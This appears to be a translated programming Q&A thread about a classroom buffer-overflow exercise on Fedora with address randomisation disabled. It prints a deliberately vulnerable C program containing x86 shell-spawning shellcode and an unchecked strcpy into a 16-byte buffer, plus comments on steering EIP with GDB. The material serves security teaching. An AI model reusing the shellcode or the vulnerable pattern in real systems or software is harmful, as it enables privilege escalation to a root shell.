【问题标题】:Testing buffer overflow测试缓冲区溢出
【发布时间】:2012-05-19 09:14:47
【问题描述】:

我得到了一个 C 代码文件,如果输入正确,就会发生缓冲区溢出,然后授予 root 访问权限。这是一个使用 ZShell 的 Fedora 错误。为了测试这一点(安全主题),我们禁用了 Linux 内核中启用的随机内存地址分配。

我被要求测试不同的输入,直到发生分段错误,其中输入是缓冲区大小。我不明白的是,我为什么要使用不同的值进行测试?我不确定代码是否会有所帮助,但我只是不明白改变输入的意义。

/* vulnerable.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
/* -------------------------------------------------- */
void vuln(char * buf)
{
    char a[16] = { 0 };
    strcpy(a, buf);
}
int main(int argc, char * argv[])
{
    int *ret;
    if (argc != 2)
    {
        printf("Usage: %s <input>\n", argv[0]);
        exit(1);
    }
    vuln(argv[1]);
    printf("%p\n", buf);
    return 0;
}

【问题讨论】:

  • 首先我建议尝试溢出valgrind 中的输入并查看堆栈值等。但是您是否编写了程序集并自己获取了字节码?这样做可能更有意义。另外,请确保您有一个可执行堆栈。改变输入最有可能决定堆栈发生了什么。
  • 您了解何时会发生分段错误吗?您是否知道如何在不改变输入的情况下导致它,或者是否需要提供不同的输入?实验。
  • 你可能需要一些笔记来完成作业。他们可能在某个时候讨论堆栈布局,重新阅读它们。当调用vuln 函数时,堆栈上有一些空间用于(除其他外)数组a 和返回地址。当您尝试将更多数据写入a 时会发生什么情况?输入一些易于识别的数据作为您的输入。获取段错误并保存核心转储。在 GDB 中打开核心转储。现在看看寄存器。看看你是否可以通过改变输入的长度来获得一个特定的值出现在 EIP 中。
  • 引用smashing the stack for fun and profit 是否被认为在政治上不正确?当我第一次阅读它时,“打开”了我对这种安全问题的关注
  • @sergico 这怎么可能不是“政治正确”……这是一篇技术论文。越多人承认这个荒谬术语的存在,它传播得越广。

标签: c security buffer-overflow


【解决方案1】:

我不明白的是,我为什么要使用不同的值进行测试?我不确定代码是否会有所帮助,但我只是不明白改变输入的意义。

缓冲区溢出只会在给定特定输入时发生,因此您应该尝试不同的输入以查看导致问题发生的原因。

提示:当用户输入长于程序预期时会发生缓冲区溢出,因此您应该尝试使用不同长度的输入,直到程序开始崩溃或出现意外情况。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2015-12-16
    • 1970-01-01
    • 2010-11-11
    • 1970-01-01
    • 1970-01-01
    • 2013-11-06
    • 2015-07-02
    相关资源
    最近更新 更多